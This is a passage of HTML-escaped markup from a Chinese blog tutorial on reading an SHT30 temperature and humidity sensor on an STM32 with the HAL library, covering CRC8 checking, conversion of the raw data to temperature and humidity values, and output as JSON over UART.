class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//余数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//循环变量\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 初始化 */\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ej \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ej\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e^=\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ej\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 从最高位开始依次计算 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eCRC8_POLYNOMIAL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 返回计算的CRC码 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"温湿度转换-1\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E6%B8%A9%E6%B9%BF%E5%BA%A6%E8%BD%AC%E6%8D%A2-1\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 将SHT30接收的6个字节数据进行CRC校验,并转换为温度值和湿度值 * @param dat —— 存储接收数据的地址(6个字节数组) * @retval 校验成功 —— 返回0 * 校验失败 —— 返回1,并设置温度值和湿度值为0*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 校验温度数据和湿度数据是否接收正确 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换温度数据 */\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e45\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e175\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_temperature\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换湿度数据 */\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e100\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_humidity \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"在main-c中使用SHT30\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%9C%A8main-c%E4%B8%AD%E4%BD%BF%E7%94%A8SHT30\" class=\"headerlink\" title=\"在main.c中使用SHT30\"\u003e\u003c/a\u003e在\u003ccode\u003emain.c\u003c/code\u003e中使用SHT30\u003c/h3\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e外定义格式化函数:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e的\u003ccode\u003ewhile (1)\u003c/code\u003e前定义相关变量与SHT30初始化:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 init is ok!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 init is not ok!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003ewhile(1)\u003c/code\u003e内调用格式化函数,每次调用后进行适当延时。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"格式化函数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"格式化函数\"\u003e\u003c/a\u003e格式化函数\u003c/h4\u003e\u003cp\u003e将格式化函数写在 \u003ccode\u003e/* USER CODE BEGIN 4 */\u003c/code\u003e 与 \u003ccode\u003e/* USER CODE END 4 */\u003c/code\u003e 之中。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e字符串格式化输出 \u003ccode\u003esprintf()\u003c/code\u003e:\u003c/p\u003e\u003cp\u003e\u003ccode\u003eint sprintf(char * s, const char * format, ...);\u003c/code\u003e定义在\u003ccode\u003estdio.h\u003c/code\u003e中,适用于 \u003ccode\u003e string\u003c/code\u003e 版本的格式化输出,其目标不是控制台,而是一个字符串。\u003c/p\u003e\u003cp\u003e用\u003ccode\u003esprintf()\u003c/code\u003e 格式化一个字符串,例如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;Name:%s,Age:%d,Weight:%.2f\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;LiMing\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1.68\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e运行后目标\u003ccode\u003ebuf\u003c/code\u003e格式化为:\u003ccode\u003eName:LiMing,Age:30,Weight:1.68\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e对于字符串的处理非常有用。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e将SHT30温湿度数据格式化并通过串口输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ememset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;{\\\u0026#34;Temperature\\\u0026#34;:\\\u0026#34;%.2f\\\u0026#34;, \\\u0026#34;Humidity\\\u0026#34;:\\\u0026#34;%.2f\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token function\"\u003estrlen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token 